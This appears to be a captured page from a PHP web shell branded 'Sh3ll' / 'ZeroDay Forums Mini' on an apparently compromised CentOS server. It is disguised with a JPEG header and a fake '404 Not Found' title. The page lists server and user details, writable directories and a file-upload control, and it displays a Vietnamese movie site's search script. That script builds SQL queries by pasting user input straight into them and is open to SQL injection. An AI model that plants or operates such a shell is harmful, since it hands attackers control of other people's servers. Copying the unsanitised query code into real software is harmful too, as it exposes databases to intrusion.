ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/code/searchadvance/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/code/searchadvance/index.php
<?php
$where = " WHERE slug!='' ";
$f = $CORE->input['f']??array();
$smarty->assign('f', $f);
$param_search = '';
$order_by = 'created DESC';
foreach ($f as $key => $val) {
    if (isset($val) and !empty($val)) {
        if ($key == 'type') {
            if ($val == 'phim-le') {
                $where .= " AND type='single' ";
                $arr_title_page[] = 'Phim lẻ';
            }
            if ($val == 'phim-bo') {
                $where .= " AND type IN ('series','tvshows') ";
                $arr_title_page[] = 'Phim bá»™';
            }
            if ($val == 'phim-chieu-rap') {
                $where .= " AND chieurap=1 ";
                $arr_title_page[] = 'Phim chiếu rạp';
            }
            if ($val == 'phim-hoat-hinh') {
                $where .= " AND type='hoathinh' ";
                $arr_title_page[] = 'Phim hoạt hình';
            }
            $param_search .= 'f[' . $key . ']=' . trim($val) . '&';
        }
        if ($key == 'genres') {
            $sub_where = array();
            foreach($val as $val2){
                if(!empty($val2)) {
                    $sub_where[] = "category LIKE '%" . $val2 . "@%'";
                    $param_search .= 'f[' . $key . '][]=' . $val2 . '&';
                }
            }
            if(!empty($sub_where)){
                $where .= " AND ( ".implode(' OR ',$sub_where )." ) ";
            }
        }
        if ($key == 'country') {
            $sub_where = array();
            foreach($val as $val2){
                if(!empty($val2)) {
                    $sub_where[] = "country LIKE '%" . $val2 . "@%'";
                    $param_search .= 'f[' . $key . '][]=' . $val2 . '&';
                }
            }
            if(!empty($sub_where)){
                $where .= " AND ( ".implode(' OR ',$sub_where )." ) ";
            }
        }
        if ($key == 'year') {
            if ($val >= 2007) {
                $where .= " AND year = '" . $val . "' ";
            } else {
                $where .= " AND year <= '" . $val . "' ";
            }
            $param_search .= 'f[' . $key . ']=' . $val . '&';
        }
        if ($key == 'director') {
            $where .= " AND director LIKE '%" . $val . "@%' ";
            $param_search .= 'f[' . $key . ']=' . $val . '&';
        }
        if ($key == 'actor') {
            $where .= " AND actor LIKE '%" . $val . "@%' ";
            $param_search .= 'f[' . $key . ']=' . $val . '&';
        }
        if ($key == 'lang') {
            if ($val == 'vsub') {
                $where .= " AND lang LIKE '%Vietsub%' ";
                $arr_title_page[] = 'Vietsub';
            }
            if ($val == 'esub') {
                $where .= " AND lang LIKE '%Engsub%' ";
                $arr_title_page[] = 'Engsub';
            }
            if ($val == 'tm') {
                $where .= " AND (lang LIKE '%Thuyết Minh%' OR lang LIKE '%Thuyết minh%') ";
                $arr_title_page[] = 'Thuyết minh';
            }
            if ($val == 'tt') {
                $where .= " AND (lang LIKE '%Lồng Tiếng%' OR lang LIKE '%Lồng tiếng%') ";
                $arr_title_page[] = 'Lồng tiếng';
            }
            $param_search .= 'f[' . $key . ']=' . $val . '&';
        }
        if ($key == 'keyword') {
            $val = trim($val);
            $where .= " AND (name LIKE '%" . $val . "%' OR origin_name LIKE '%" . $val . "%' OR actor LIKE '%" . $val . "%' OR director LIKE '%" . $val . "%') ";
            $param_search .= 'f[' . $key . ']=' . trim($val) . '&';
        }
        if ($key == 'sortby') {
            if ($val == 'phim-moi-nhat') {
                $order_by = " created DESC ";
            }
            if ($val == 'tap-moi') {
                $order_by = " modified DESC ";
            }
            if ($val == 'xem-nhieu') {
                $order_by = " view DESC ";
            }
            if ($val == 'binh-chon-nhieu') {
                $order_by = " phim_danhgia DESC ";
            }
            if ($val == 'binh-luan-nhieu') {
                $order_by = " phim_hitcomment DESC ";
            }
            $param_search .= 'f[' . $key . ']=' . $val. '&';
        }
    }
}
$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 45;
$from = (($pageNum * $pageSize) - $pageSize);
$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_phim " . $where));
$total = $t['total'];
$totalPage = ceil($total / $pageSize);
$q_phim = $DB->query("SELECT phim_id,name,slug,origin_name,thumb_url,quality,lang,type,year,episode_current FROM tb_phim " . $where . " ORDER BY ".$order_by." LIMIT $from,$pageSize");
$arr_phim = array();
while ($r_phim = $DB->fetch_row($q_phim)) {
    if ($r_phim['type'] == 'single') {
        $r_phim['episode_current'] = $r_phim['quality'];
    }
    $arr_phim[] = $r_phim;
}
$smarty->assign('arr_phim', $arr_phim);
$nav = $print->Pagination($totalPage, $pageNum, 'pages', '?act=searchadvance&' . $func->remove_lastchar($param_search, 1));
$smarty->assign('nav', $nav);

$follow_phim = follow_phim(5);
$smarty->assign('follow_phim', $follow_phim);
$history_phim = history_phim(5);
$smarty->assign('history_phim', $history_phim);
$top_member = top_member(5);
$smarty->assign('top_member', $top_member);
$lasted_comment = lasted_comment(5);
$smarty->assign('lasted_comment', $lasted_comment);
$namphathanh = namphathanh(6);
$smarty->assign('namphathanh', $namphathanh);
$phimquantam = phimquantam(20);
$smarty->assign('phimquantam', $phimquantam);

$title_page = 'Tìm kiếm phim nâng cao';
$smarty->assign('total', $total);
$smarty->assign('title_page', $title_page);
$des_page = $title_page . ' ,Tổng hợp danh sách các bộ phim hay được web cập nhật liên tục.Tải hơn 10.000 bộ phim năm 2022,2023 vietsub, thuyết minh mới nhất, hay nhất';
$smarty->assign('des_page', str_replace('"', "'", strip_tags($des_page)));
$smarty->assign('image_page', $INFO['home_url'] . $arr_option['share_image_website']);

?>

ZeroDay Forums Mini